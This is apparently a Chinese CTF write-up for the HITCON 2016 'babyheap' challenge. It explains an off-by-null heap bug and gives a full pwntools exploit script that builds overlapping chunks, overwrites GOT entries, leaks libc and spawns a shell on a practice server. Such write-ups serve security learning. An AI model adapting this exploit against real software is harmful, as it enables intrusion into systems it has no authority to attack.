babyheap_hitcon_2016
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,输入函数存在off by null漏洞
通过这个off by null,可以将content指针低1字节覆盖为0,也就是相当于content指向的地方在上方去了。
因此,我们只需要在上方的位置,伪造一个合适的chunk,然后free掉,这样,unsorted bin和fastbin就有重合了。
程序中,仅仅关闭了stdout的缓冲区,没有关闭stdin的缓冲液
因此,通过功能4,我们可以初始化stdin的缓冲区,我们可以首先就初始化它的缓冲区,然后在创建节点,这样content指针低1字节覆盖后,正好可以指向stdin缓冲区的内部,我们就可以利用scanf将伪造的chunk’数据输进去。
构造了overlap chunk以后,就可以通过伪造节点的content指针,达到任意地址读写,为了多次利用edit,利用第一次edit将exit的got表修改为其他函数,只要保证不崩溃,不退出即可。
然后就可以利同样的方法,泄露地址,写got表来getshell
#coding:utf8
from pwn import *
#context.log_level = 'debug'
#sh = process('./babyheap_hitcon_2016')
sh = remote('node3.buuoj.cn',26537)
elf = ELF('./babyheap_hitcon_2016')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
printf_plt = elf.plt['printf']
read_plt = elf.plt['read']
exit_got = elf.got['_exit']
def add(size,content,name):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('Size :',str(size))
sh.sendafter('Content:',content)
sh.sendafter('Name:',name)
def delete():
sh.sendlineafter('Your choice:','2')
def edit(content):
sh.sendlineafter('Your choice:','3')
sh.sendafter('Content:',content)
def Exit(c):
sh.sendlineafter('Your choice:','4')
sh.sendafter('Really?',c)
Exit('n\n')
#null off by one
add(0x100,p64(0) + p64(0x101) + 'a'*0xF0,'b'*0x8)
#通过stdout的缓冲区,将伪造的chunk布置到上方
Exit('n '.ljust(0xFE0,'a') + p64(0) + p64(0x51) + '\n')
#形成overlap chunk
delete()
#控制节点结构体的数据
add(0x40,'a'*0x20 + p64(0x200) + 'b'*0x8 + p64(exit_got),'b'*0x7)
#修改exit的got表为任意不崩溃函数,atoi的got表修改为printf_plt
payload = p64(read_plt) #exit
payload += p64(0x400756) #read_chk
payload += p64(0x400766) #puts
payload += p64(0x400776) #_stack_chk_fail
payload += p64(0x400786) #printf
payload += p64(0x400796) #alarm
payload += p64(0x4007A6) #read
payload += p64(0x4007B6) #_libc_start_main
payload += p64(0x4007C6) #_signal
payload += p64(0x4007D6) #_malloc
payload += p64(0x4007E6) #_setvbuf
payload += p64(printf_plt) #_atoi
edit(payload)
sh.sendlineafter('Your choice:','%7$p')
sh.recvuntil('0x')
libc_base = int(sh.recvuntil('\n',drop = True),16) - 0x16A - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#控制rax为3,这样我们就可以进入选项3,继续编辑了
sh.sendlineafter('Your choice:','a'*0x2)
#修改atoi的got表为system_addr
payload = p64(read_plt) #exit
payload += p64(0x400756) #read_chk
payload += p64(0x400766) #puts
payload += p64(0x400776) #_stack_chk_fail
payload += p64(0x400786) #printf
payload += p64(0x400796) #alarm
payload += p64(0x4007A6) #read
payload += p64(0x4007B6) #_libc_start_main
payload += p64(0x4007C6) #_signal
payload += p64(0x4007D6) #_malloc
payload += p64(0x4007E6) #_setvbuf
payload += p64(system_addr) #_atoi
sh.sendlineafter('Content:',payload)
#getshell
sh.sendlineafter('Your choice:','/bin/sh')
sh.interactive()